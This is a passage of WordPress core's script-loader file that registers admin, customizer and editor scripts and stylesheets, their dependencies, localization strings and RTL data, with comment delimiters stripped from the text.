'wpLinkL10n',
array(
'title' => __( 'Insert/edit link' ),
'update' => __( 'Update' ),
'save' => __( 'Add Link' ),
'noTitle' => __( '(no title)' ),
'noMatchesFound' => __( 'No results found.' ),
'linkSelected' => __( 'Link selected.' ),
'linkInserted' => __( 'Link inserted.' ),
translators: Minimum input length in characters to start searching posts in the "Insert/edit link" modal.
'minInputLength' => (int) _x( '3', 'minimum input length for searching post links' ),
)
);
$scripts->add( 'wpdialogs', "/wp-includes/js/wpdialog$suffix.js", array( 'jquery-ui-dialog' ), false, 1 );
$scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array(), false, 1 );
$scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox', 'shortcode' ), false, 1 );
$scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array( 'jquery' ), '1.10.2', 1 );
JS-only version of hoverintent (no dependencies).
$scripts->add( 'hoverintent-js', '/wp-includes/js/hoverintent-js.min.js', array(), '2.2.1', 1 );
$scripts->add( 'customize-base', "/wp-includes/js/customize-base$suffix.js", array( 'jquery', 'json2', 'underscore' ), false, 1 );
$scripts->add( 'customize-loader', "/wp-includes/js/customize-loader$suffix.js", array( 'customize-base' ), false, 1 );
$scripts->add( 'customize-preview', "/wp-includes/js/customize-preview$suffix.js", array( 'wp-a11y', 'customize-base' ), false, 1 );
$scripts->add( 'customize-models', '/wp-includes/js/customize-models.js', array( 'underscore', 'backbone' ), false, 1 );
$scripts->add( 'customize-views', '/wp-includes/js/customize-views.js', array( 'jquery', 'underscore', 'imgareaselect', 'customize-models', 'media-editor', 'media-views' ), false, 1 );
$scripts->add( 'customize-controls', "/wp-admin/js/customize-controls$suffix.js", array( 'customize-base', 'wp-a11y', 'wp-util', 'jquery-ui-core' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'customize-controls',
'_wpCustomizeControlsL10n',
array(
'activate' => __( 'Activate & Publish' ),
'save' => __( 'Save & Publish' ), @todo Remove as not required.
'publish' => __( 'Publish' ),
'published' => __( 'Published' ),
'saveDraft' => __( 'Save Draft' ),
'draftSaved' => __( 'Draft Saved' ),
'updating' => __( 'Updating' ),
'schedule' => _x( 'Schedule', 'customizer changeset action/button label' ),
'scheduled' => _x( 'Scheduled', 'customizer changeset status' ),
'invalid' => __( 'Invalid' ),
'saveBeforeShare' => __( 'Please save your changes in order to share the preview.' ),
'futureDateError' => __( 'You must supply a future date to schedule.' ),
'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
'saved' => __( 'Saved' ),
'cancel' => __( 'Cancel' ),
'close' => __( 'Close' ),
'action' => __( 'Action' ),
'discardChanges' => __( 'Discard changes' ),
'cheatin' => __( 'Something went wrong.' ),
'notAllowedHeading' => __( 'You need a higher level of permission.' ),
'notAllowed' => __( 'Sorry, you are not allowed to customize this site.' ),
'previewIframeTitle' => __( 'Site Preview' ),
'loginIframeTitle' => __( 'Session expired' ),
'collapseSidebar' => _x( 'Hide Controls', 'label for hide controls button without length constraints' ),
'expandSidebar' => _x( 'Show Controls', 'label for hide controls button without length constraints' ),
'untitledBlogName' => __( '(Untitled)' ),
'unknownRequestFail' => __( 'Looks like something’s gone wrong. Wait a couple seconds, and then try again.' ),
'themeDownloading' => __( 'Downloading your new theme…' ),
'themePreviewWait' => __( 'Setting up your live preview. This may take a bit.' ),
'revertingChanges' => __( 'Reverting unpublished changes…' ),
'trashConfirm' => __( 'Are you sure you want to discard your unpublished changes?' ),
translators: %s: Display name of the user who has taken over the changeset in customizer.
'takenOverMessage' => __( '%s has taken over and is currently customizing.' ),
translators: %s: URL to the Customizer to load the autosaved version.
'autosaveNotice' => __( 'There is a more recent autosave of your changes than the one you are previewing. <a href="%s">Restore the autosave</a>' ),
'videoHeaderNotice' => __( 'This theme does not support video headers on this page. Navigate to the front page or another page that supports video headers.' ),
Used for overriding the file types allowed in Plupload.
'allowedFiles' => __( 'Allowed Files' ),
'customCssError' => array(
translators: %d: Error count.
'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
translators: %d: Error count.
'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ),
@todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
),
'pageOnFrontError' => __( 'Homepage and posts page must be different.' ),
'saveBlockedError' => array(
translators: %s: Number of invalid settings.
'singular' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 1 ),
translators: %s: Number of invalid settings.
'plural' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 2 ),
@todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
),
'scheduleDescription' => __( 'Schedule your customization changes to publish ("go live") at a future date.' ),
'themePreviewUnavailable' => __( 'Sorry, you cannot preview new themes when you have changes scheduled or saved as a draft. Please publish your changes, or wait until they publish to preview new themes.' ),
'themeInstallUnavailable' => sprintf(
translators: %s: URL to Add Themes admin screen.
__( 'You will not be able to install new themes from here yet since your install requires SFTP credentials. For now, please <a href="%s">add themes in the admin</a>.' ),
esc_url( admin_url( 'theme-install.php' ) )
),
'publishSettings' => __( 'Publish Settings' ),
'invalidDate' => __( 'Invalid date.' ),
'invalidValue' => __( 'Invalid value.' ),
'blockThemeNotification' => sprintf(
translators: 1: Link to Site Editor documentation on HelpHub, 2: HTML button.
__( 'Hurray! Your theme supports site editing with blocks. <a href="%1$s">Tell me more</a>. %2$s' ),
__( 'https:wordpress.org/documentation/article/site-editor/' ),
sprintf(
'<button type="button" data-action="%1$s" class="button switch-to-editor">%2$s</button>',
esc_url( admin_url( 'site-editor.php' ) ),
__( 'Use Site Editor' )
)
),
)
);
$scripts->add( 'customize-selective-refresh', "/wp-includes/js/customize-selective-refresh$suffix.js", array( 'jquery', 'wp-util', 'customize-preview' ), false, 1 );
$scripts->add( 'customize-widgets', "/wp-admin/js/customize-widgets$suffix.js", array( 'jquery', 'jquery-ui-sortable', 'jquery-ui-droppable', 'wp-backbone', 'customize-controls' ), false, 1 );
$scripts->add( 'customize-preview-widgets', "/wp-includes/js/customize-preview-widgets$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );
$scripts->add( 'customize-nav-menus', "/wp-admin/js/customize-nav-menus$suffix.js", array( 'jquery', 'wp-backbone', 'customize-controls', 'accordion', 'nav-menu', 'wp-sanitize' ), false, 1 );
$scripts->add( 'customize-preview-nav-menus', "/wp-includes/js/customize-preview-nav-menus$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );
$scripts->add( 'wp-custom-header', "/wp-includes/js/wp-custom-header$suffix.js", array( 'wp-a11y' ), false, 1 );
$scripts->add( 'accordion', "/wp-admin/js/accordion$suffix.js", array( 'jquery' ), false, 1 );
$scripts->add( 'shortcode', "/wp-includes/js/shortcode$suffix.js", array( 'underscore' ), false, 1 );
$scripts->add( 'media-models', "/wp-includes/js/media-models$suffix.js", array( 'wp-backbone' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'media-models',
'_wpMediaModelsL10n',
array(
'settings' => array(
'ajaxurl' => admin_url( 'admin-ajax.php', 'relative' ),
'post' => array( 'id' => 0 ),
),
)
);
$scripts->add( 'wp-embed', "/wp-includes/js/wp-embed$suffix.js" );
did_action( 'init' ) && $scripts->add_data( 'wp-embed', 'strategy', 'defer' );
* To enqueue media-views or media-editor, call wp_enqueue_media().
* Both rely on numerous settings, styles, and templates to operate correctly.
$scripts->add( 'media-views', "/wp-includes/js/media-views$suffix.js", array( 'utils', 'media-models', 'wp-plupload', 'jquery-ui-sortable', 'wp-mediaelement', 'wp-api-request', 'wp-a11y', 'clipboard' ), false, 1 );
$scripts->set_translations( 'media-views' );
$scripts->add( 'media-editor', "/wp-includes/js/media-editor$suffix.js", array( 'shortcode', 'media-views' ), false, 1 );
$scripts->set_translations( 'media-editor' );
$scripts->add( 'media-audiovideo', "/wp-includes/js/media-audiovideo$suffix.js", array( 'media-editor' ), false, 1 );
$scripts->add( 'mce-view', "/wp-includes/js/mce-view$suffix.js", array( 'shortcode', 'jquery', 'media-views', 'media-audiovideo' ), false, 1 );
$scripts->add( 'wp-api', "/wp-includes/js/wp-api$suffix.js", array( 'jquery', 'backbone', 'underscore', 'wp-api-request' ), false, 1 );
if ( is_admin() ) {
$scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array( 'jquery', 'wp-ajax-response' ), false, 1 );
$scripts->set_translations( 'admin-tags' );
$scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array( 'wp-lists', 'quicktags', 'jquery-query' ), false, 1 );
$scripts->set_translations( 'admin-comments' );
did_action( 'init' ) && $scripts->localize(
'admin-comments',
'adminCommentsSettings',
array(
'hotkeys_highlight_first' => isset( $_GET['hotkeys_highlight_first'] ),
'hotkeys_highlight_last' => isset( $_GET['hotkeys_highlight_last'] ),
)
);
$scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", array( 'jquery' ), false, 1 );
$scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array( 'jquery-ui-sortable', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'postbox' );
$scripts->add( 'tags-box', "/wp-admin/js/tags-box$suffix.js", array( 'jquery', 'tags-suggest' ), false, 1 );
$scripts->set_translations( 'tags-box' );
$scripts->add( 'tags-suggest', "/wp-admin/js/tags-suggest$suffix.js", array( 'jquery-ui-autocomplete', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'tags-suggest' );
$scripts->add( 'post', "/wp-admin/js/post$suffix.js", array( 'suggest', 'wp-lists', 'postbox', 'tags-box', 'underscore', 'word-count', 'wp-a11y', 'wp-sanitize', 'clipboard' ), false, 1 );
$scripts->set_translations( 'post' );
$scripts->add( 'editor-expand', "/wp-admin/js/editor-expand$suffix.js", array( 'jquery', 'underscore' ), false, 1 );
$scripts->add( 'link', "/wp-admin/js/link$suffix.js", array( 'wp-lists', 'postbox' ), false, 1 );
$scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array( 'jquery', 'postbox' ), false, 1 );
$scripts->set_translations( 'comment' );
$scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ) );
$scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'admin-widgets' );
$scripts->add( 'media-widgets', "/wp-admin/js/widgets/media-widgets$suffix.js", array( 'jquery', 'media-models', 'media-views', 'wp-api-request' ) );
$scripts->add_inline_script( 'media-widgets', 'wp.mediaWidgets.init();', 'after' );
$scripts->add( 'media-audio-widget', "/wp-admin/js/widgets/media-audio-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) );
$scripts->add( 'media-image-widget', "/wp-admin/js/widgets/media-image-widget$suffix.js", array( 'media-widgets' ) );
$scripts->add( 'media-gallery-widget', "/wp-admin/js/widgets/media-gallery-widget$suffix.js", array( 'media-widgets' ) );
$scripts->add( 'media-video-widget', "/wp-admin/js/widgets/media-video-widget$suffix.js", array( 'media-widgets', 'media-audiovideo', 'wp-api-request' ) );
$scripts->add( 'text-widgets', "/wp-admin/js/widgets/text-widgets$suffix.js", array( 'jquery', 'backbone', 'editor', 'wp-util', 'wp-a11y' ) );
$scripts->add( 'custom-html-widgets', "/wp-admin/js/widgets/custom-html-widgets$suffix.js", array( 'jquery', 'backbone', 'wp-util', 'jquery-ui-core', 'wp-a11y' ) );
$scripts->add( 'theme', "/wp-admin/js/theme$suffix.js", array( 'wp-backbone', 'wp-a11y', 'customize-base' ), false, 1 );
$scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'tags-suggest', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'inline-edit-post' );
$scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'inline-edit-tax' );
$scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery', 'jquery-ui-core', 'thickbox' ), false, 1 );
$scripts->set_translations( 'plugin-install' );
$scripts->add( 'site-health', "/wp-admin/js/site-health$suffix.js", array( 'clipboard', 'jquery', 'wp-util', 'wp-a11y', 'wp-api-request', 'wp-url', 'wp-i18n', 'wp-hooks' ), false, 1 );
$scripts->set_translations( 'site-health' );
$scripts->add( 'privacy-tools', "/wp-admin/js/privacy-tools$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'privacy-tools' );
$scripts->add( 'updates', "/wp-admin/js/updates$suffix.js", array( 'common', 'jquery', 'wp-util', 'wp-a11y', 'wp-sanitize', 'wp-i18n' ), false, 1 );
$scripts->set_translations( 'updates' );
did_action( 'init' ) && $scripts->localize(
'updates',
'_wpUpdatesSettings',
array(
'ajax_nonce' => wp_installing() ? '' : wp_create_nonce( 'updates' ),
)
);
$scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array( 'jquery' ), '1.2' );
$scripts->add( 'iris', '/wp-admin/js/iris.min.js', array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), '1.1.1', 1 );
$scripts->add( 'wp-color-picker', "/wp-admin/js/color-picker$suffix.js", array( 'iris' ), false, 1 );
$scripts->set_translations( 'wp-color-picker' );
$scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox', 'wp-util', 'wp-a11y', 'wp-date' ), false, 1 );
$scripts->set_translations( 'dashboard' );
$scripts->add( 'list-revisions', "/wp-includes/js/wp-list-revisions$suffix.js" );
$scripts->add( 'media-grid', "/wp-includes/js/media-grid$suffix.js", array( 'media-editor' ), false, 1 );
$scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery', 'clipboard', 'wp-i18n', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'media' );
$scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array( 'jquery', 'jquery-ui-core', 'json2', 'imgareaselect', 'wp-a11y' ), false, 1 );
$scripts->set_translations( 'image-edit' );
$scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), false, 1 );
$scripts->set_translations( 'set-post-thumbnail' );
* Navigation Menus: Adding underscore as a dependency to utilize _.debounce
* see https:core.trac.wordpress.org/ticket/42321
$scripts->add( 'nav-menu', "/wp-admin/js/nav-menu$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-lists', 'postbox', 'json2', 'underscore' ) );
$scripts->set_translations( 'nav-menu' );
$scripts->add( 'custom-header', '/wp-admin/js/custom-header.js', array( 'jquery-masonry' ), false, 1 );
$scripts->add( 'custom-background', "/wp-admin/js/custom-background$suffix.js", array( 'wp-color-picker', 'media-views' ), false, 1 );
$scripts->add( 'media-gallery', "/wp-admin/js/media-gallery$suffix.js", array( 'jquery' ), false, 1 );
$scripts->add( 'svg-painter', '/wp-admin/js/svg-painter.js', array( 'jquery' ), false, 1 );
}
}
*
* Assigns default styles to $styles object.
*
* Nothing is returned, because the $styles parameter is passed by reference.
* Meaning that whatever object is passed will be updated without having to
* reassign the variable that was passed back to the same value. This saves
* memory.
*
* Adding default styles is not the only task, it also assigns the base_url
* property, the default version, and text direction for the object.
*
* @since 2.6.0
*
* @global array $editor_styles
*
* @param WP_Styles $styles
function wp_default_styles( $styles ) {
global $editor_styles;
Include an unmodified $wp_version.
require ABSPATH . WPINC . '/version.php';
if ( ! defined( 'SCRIPT_DEBUG' ) ) {
* Note: str_contains() is not used here, as this file can be included
* via wp-admin/load-scripts.php or wp-admin/load-styles.php, in which case
* the polyfills from wp-includes/compat.php are not loaded.
define( 'SCRIPT_DEBUG', false !== strpos( $wp_version, '-src' ) );
}
$guessurl = site_url();
if ( ! $guessurl ) {
$guessurl = wp_guess_url();
}
$styles->base_url = $guessurl;
$styles->content_url = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : '';
$styles->default_version = get_bloginfo( 'version' );
$styles->text_direction = function_exists( 'is_rtl' ) && is_rtl() ? 'rtl' : 'ltr';
$styles->default_dirs = array( '/wp-admin/', '/wp-includes/css/' );
Open Sans is no longer used by core, but may be relied upon by themes and plugins.
$open_sans_font_url = '';
* translators: If there are characters in your language that are not supported
* by Open Sans, translate this to 'off'. Do not translate into your own language.
if ( 'off' !== _x( 'on', 'Open Sans font: on or off' ) ) {
$subsets = 'latin,latin-ext';
* translators: To add an additional Open Sans character subset specific to your language,
* translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)' );
if ( 'cyrillic' === $subset ) {
$subsets .= ',cyrillic,cyrillic-ext';
} elseif ( 'greek' === $subset ) {
$subsets .= ',greek,greek-ext';
} elseif ( 'vietnamese' === $subset ) {
$subsets .= ',vietnamese';
}
Hotlink Open Sans, for now.
$open_sans_font_url = "https:fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets&display=fallback";
}
Register a stylesheet for the selected admin color scheme.
$styles->add( 'colors', true, array( 'wp-admin', 'buttons' ) );
$suffix = SCRIPT_DEBUG ? '' : '.min';
Admin CSS.
$styles->add( 'common', "/wp-admin/css/common$suffix.css" );
$styles->add( 'forms', "/wp-admin/css/forms$suffix.css" );
$styles->add( 'admin-menu', "/wp-admin/css/admin-menu$suffix.css" );
$styles->add( 'dashboard', "/wp-admin/css/dashboard$suffix.css" );
$styles->add( 'list-tables', "/wp-admin/css/list-tables$suffix.css" );
$styles->add( 'edit', "/wp-admin/css/edit$suffix.css" );
$styles->add( 'revisions', "/wp-admin/css/revisions$suffix.css" );
$styles->add( 'media', "/wp-admin/css/media$suffix.css" );
$styles->add( 'themes', "/wp-admin/css/themes$suffix.css" );
$styles->add( 'about', "/wp-admin/css/about$suffix.css" );
$styles->add( 'nav-menus', "/wp-admin/css/nav-menus$suffix.css" );
$styles->add( 'widgets', "/wp-admin/css/widgets$suffix.css", array( 'wp-pointer' ) );
$styles->add( 'site-icon', "/wp-admin/css/site-icon$suffix.css" );
$styles->add( 'l10n', "/wp-admin/css/l10n$suffix.css" );
$styles->add( 'code-editor', "/wp-admin/css/code-editor$suffix.css", array( 'wp-codemirror' ) );
$styles->add( 'site-health', "/wp-admin/css/site-health$suffix.css" );
$styles->add( 'wp-admin', false, array( 'dashicons', 'common', 'forms', 'admin-menu', 'dashboard', 'list-tables', 'edit', 'revisions', 'media', 'themes', 'about', 'nav-menus', 'widgets', 'site-icon', 'l10n' ) );
$styles->add( 'login', "/wp-admin/css/login$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) );
$styles->add( 'install', "/wp-admin/css/install$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) );
$styles->add( 'wp-color-picker', "/wp-admin/css/color-picker$suffix.css" );
$styles->add( 'customize-controls', "/wp-admin/css/customize-controls$suffix.css", array( 'wp-admin', 'colors', 'imgareaselect' ) );
$styles->add( 'customize-widgets', "/wp-admin/css/customize-widgets$suffix.css", array( 'wp-admin', 'colors' ) );
$styles->add( 'customize-nav-menus', "/wp-admin/css/customize-nav-menus$suffix.css", array( 'wp-admin', 'colors' ) );
Common dependencies.
$styles->add( 'buttons', "/wp-includes/css/buttons$suffix.css" );
$styles->add( 'dashicons', "/wp-includes/css/dashicons$suffix.css" );
Includes CSS.
$styles->add( 'admin-bar', "/wp-includes/css/admin-bar$suffix.css", array( 'dashicons' ) );
$styles->add( 'wp-auth-check', "/wp-includes/css/wp-auth-check$suffix.css", array( 'dashicons' ) );
$styles->add( 'editor-buttons', "/wp-includes/css/editor$suffix.css", array( 'dashicons' ) );
$styles->add( 'media-views', "/wp-includes/css/media-views$suffix.css", array( 'buttons', 'dashicons', 'wp-mediaelement' ) );
$styles->add( 'wp-pointer', "/wp-includes/css/wp-pointer$suffix.css", array( 'dashicons' ) );
$styles->add( 'customize-preview', "/wp-includes/css/customize-preview$suffix.css", array( 'dashicons' ) );
$styles->add( 'wp-embed-template-ie', "/wp-includes/css/wp-embed-template-ie$suffix.css" );
$styles->add_data( 'wp-embed-template-ie', 'conditional', 'lte IE 8' );
External libraries and friends.
$styles->add( 'imgareaselect', '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' );
$styles->add( 'wp-jquery-ui-dialog', "/wp-includes/css/jquery-ui-dialog$suffix.css", array( 'dashicons' ) );
$styles->add( 'mediaelement', '/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css', array(), '4.2.17' );
$styles->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.css", array( 'mediaelement' ) );
$styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) );
$styles->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.css', array(), '5.29.1-alpha-ee20357' );
Deprecated CSS.
$styles->add( 'deprecated-media', "/wp-admin/css/deprecated-media$suffix.css" );
$styles->add( 'farbtastic', "/wp-admin/css/farbtastic$suffix.css", array(), '1.3u1' );
$styles->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.css', array(), '0.9.15' );
$styles->add( 'colors-fresh', false, array( 'wp-admin', 'buttons' ) ); Old handle.
$styles->add( 'open-sans', $open_sans_font_url ); No longer used in core as of 4.6.
Noto Serif is no longer used by core, but may be relied upon by themes and plugins.
$fonts_url = '';
* translators: Use this to specify the proper Google Font name and variants
* to load that is supported by your language. Do not translate.
* Set to 'off' to disable loading.
$font_family = _x( 'Noto Serif:400,400i,700,700i', 'Google Font Name and Variants' );
if ( 'off' !== $font_family ) {
$fonts_url = 'https:fonts.googleapis.com/css?family=' . urlencode( $font_family );
}
$styles->add( 'wp-editor-font', $fonts_url ); No longer used in core as of 5.7.
$block_library_theme_path = WPINC . "/css/dist/block-library/theme$suffix.css";
$styles->add( 'wp-block-library-theme', "/$block_library_theme_path" );
$styles->add_data( 'wp-block-library-theme', 'path', ABSPATH . $block_library_theme_path );
$styles->add(
'wp-reset-editor-styles',
"/wp-includes/css/dist/block-library/reset$suffix.css",
array( 'common', 'forms' ) Make sure the reset is loaded after the default WP Admin styles.
);
$styles->add(
'wp-editor-classic-layout-styles',
"/wp-includes/css/dist/edit-post/classic$suffix.css",
array()
);
$styles->add(
'wp-block-editor-content',
"/wp-includes/css/dist/block-editor/content$suffix.css",
array( 'wp-components' )
);
$wp_edit_blocks_dependencies = array(
'wp-components',
'wp-editor',
* This needs to be added before the block library styles,
* The block library styles override the "reset" styles.
'wp-reset-editor-styles',
'wp-block-library',
'wp-reusable-blocks',
'wp-block-editor-content',
'wp-patterns',
);
Only load the default layout and margin styles for themes without theme.json file.
if ( ! wp_theme_has_theme_json() ) {
$wp_edit_blocks_dependencies[] = 'wp-editor-classic-layout-styles';
}
if (
current_theme_supports( 'wp-block-styles' ) &&
( ! is_array( $editor_styles ) || count( $editor_styles ) === 0 )
) {
* Include opinionated block styles if the theme supports block styles and
* no $editor_styles are declared, so the editor never appears broken.
$wp_edit_blocks_dependencies[] = 'wp-block-library-theme';
}
$styles->add(
'wp-edit-blocks',
"/wp-includes/css/dist/block-library/editor$suffix.css",
$wp_edit_blocks_dependencies
);
$package_styles = array(
'block-editor' => array( 'wp-components' ),
'block-library' => array(),
'block-directory' => array(),
'components' => array(),
'commands' => array(),
'edit-post' => array(
'wp-components',
'wp-block-editor',
'wp-editor',
'wp-edit-blocks',
'wp-block-library',
'wp-commands',
),
'editor' => array(
'wp-components',
'wp-block-editor',
'wp-reusable-blocks',
'wp-patterns',
),
'format-library' => array(),
'list-reusable-blocks' => array( 'wp-components' ),
'reusable-blocks' => array( 'wp-components' ),
'patterns' => array( 'wp-components' ),
'nux' => array( 'wp-components' ),
'widgets' => array(
'wp-components',
),
'edit-widgets' => array(
'wp-widgets',
'wp-block-editor',
'wp-edit-blocks',
'wp-block-library',
'wp-reusable-blocks',
'wp-patterns',
),
'customize-widgets' => array(
'wp-widgets',
'wp-block-editor',
'wp-edit-blocks',
'wp-block-library',
'wp-reusable-blocks',
'wp-patterns',
),
'edit-site' => array(
'wp-components',
'wp-block-editor',
'wp-edit-blocks',
'wp-commands',
),
);
foreach ( $package_styles as $package => $dependencies ) {
$handle = 'wp-' . $package;
$path = "/wp-includes/css/dist/$package/style$suffix.css";
if ( 'block-library' === $package && wp_should_load_separate_core_block_assets() ) {
$path = "/wp-includes/css/dist/$package/common$suffix.css";
}
$styles->add( $handle, $path, $dependencies );
$styles->add_data( $handle, 'path', ABSPATH . $path );
}
RTL CSS.
$rtl_styles = array(
Admin CSS.
'common',
'forms',
'admin-menu',
'dashboard',
'list-tables',
'edit',
'revisions',
'media',
'themes',
'about',
'nav-menus',
'widgets',
'site-icon',
'l10n',
'install',
'wp-color-picker',
'customize-controls',
'customize-widgets',
'customize-nav-menus',
'customize-preview',
'login',
'site-health',
Includes CSS.
'buttons',
'admin-bar',
'wp-auth-check',
'editor-buttons',
'media-views',
'wp-pointer',
'wp-jquery-ui-dialog',
Package styles.
'wp-reset-editor-styles',
'wp-editor-classic-layout-styles',
'wp-block-library-theme',
'wp-edit-blocks',
'wp-block-editor',
'wp-block-library',
'wp-block-directory',
'wp-commands',
'wp-components',
'wp-customize-widgets',
'wp-edit-post',
'wp-edit-site',
'wp-edit-widgets',
'wp-editor',
'wp-format-library',
'wp-list-reusable-blocks',
'wp-reusable-blocks',
'wp-patterns',
'wp-nux',
'wp-widgets',
Deprecated CSS.
'deprecated-media',
'farbtastic',
);
foreach ( $rtl_styles as $rtl_style ) {
$styles->add_data( $rtl_style, 'rtl', 'replace' );
if ( $suffix ) {
$styles->add_data( $rtl_style, 'suffix', $suffix );
}
}
}
*
* Reorders JavaScript scripts array to place prototype before jQuery.
*
* @since 2.3.1
*
* @param string[] $js_array JavaScript scripts array
* @return string[] Reordered array, if needed.
function wp_prototype_before_jquery( $js_array ) {
$prototype = array_search( 'prototype', $js_array, true );
if ( false === $prototype ) {
return $js_array;
}
$jquery = array_search( 'jquery', $js_array, true );
if ( false === $jquery ) {
return $js_array;
}
if ( $prototype < $jquery ) {
return $js_array;
}
unset( $js_array[ $prototype ] );
array_splice( $js_array, $jquery, 0, 'prototype' );
return $js_array;
}
*
* Loads localized data on print rather than initialization.
*
* These localizations require information that may not be loaded even by init.
*
* @since 2.5.0
function wp_just_in_time_script_localization() {
wp_localize_script(
'autosave',
'autosaveL10n',
array(
'autosaveInterval' => AUTOSAVE_INTERVAL,
'blog_id' => get_current_blog_id(),
)
);
wp_localize_script(
'mce-view',
'mceViewL10n',
array(
'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(),
)
);
wp_localize_script(
'word-count',
'wordCountL10n',
array(
'type' => wp_get_word_count_type(),
'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(),
)
);
}
*
* Localizes the jQuery UI datepicker.
*
* @since 4.6.0
*
* @link https:api.jqueryui.com/datepicker/#options
*
* @global WP_Locale $wp_locale WordPress date and time locale object.
function wp_localize_jquery_ui_datepicker() {
global $wp_locale;
if ( ! wp_script_is( 'jquery-ui-datepicker', 'enqueued' ) ) {
return;
}
Convert the PHP date format into jQuery UI's format.
$datepicker_date_format = str_replace(
array(
'd',
'j',
'l',
'z', Day.
'F',
'M',
'n',
'm', Month.
'Y',
'y', Year.
),
array(
'dd',
'd',
'DD',
'o',
'MM',
'M',
'm',
'mm',
'yy',
'y',
),
get_option( 'date_format' )
);
$datepicker_defaults = wp_json_encode(
array(
'closeText' => __( 'Close' ),
'currentText' => __( 'Today' ),
'monthNames' => array_values( $wp_locale->month ),
'monthNamesShort' => array_values( $wp_locale->month_abbrev ),
'nextText' => __( 'Next' ),
'prevText' => __( 'Previous' ),
'dayNames' => array_values( $wp_locale->weekday ),
'dayNamesShort' => array_values( $wp_locale->weekday_abbrev ),
'dayNamesMin' => array_values( $wp_locale->weekday_initial ),
'dateFormat' => $datepicker_date_format,
'firstDay' => absint( get_option( 'start_of_week' ) ),
'isRTL' => $wp_locale->is_rtl(),
)
);
wp_add_inline_script( 'jquery-ui-datepicker', "jQuery(function(jQuery){jQuery.datepicker.setDefaults({$datepicker_defaults});});" );
}
*
* Localizes community events data that needs to be passed to dashboard.js.
*
* @since 4.8.0
function wp_localize_community_events() {
if ( ! wp_script_is( 'dashboard' ) ) {
return;
}
require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';
$user_id = get_current_user_id();
$saved_location = get_user_option( 'community-events-location', $user_id );
$saved_ip_address = isset( $saved_location['ip'] ) ? $saved_location['ip'] : false;
$current_ip_address = WP_Community_Events::get_unsafe_client_ip();
* If the user's location is based on their IP address, then update their
* location when their IP address changes. This allows them to see events
* in their current city when travelling. Otherwise, they would always be
* shown events in the city where they were when they first loaded the
* Dashboard, which could have been months or years ago.
if ( $saved_ip_address && $current_ip_address && $current_ip_address !== $saved_ip_address ) {
$saved_location['ip'] = $current_ip_address;
update_user_meta( $user_id, 'community-events-location', $saved_location );
}
$events_client = new WP_Community_Events( $user_id, $saved_location );
wp_localize_script(
'dashboard',
'communityEventsData',
array(
'nonce' => wp_create_nonce( 'community_events' ),
'cache' => $events_client->get_cached_events(),
'time_format' => get_option( 'time_format' ),
)
);
}
*
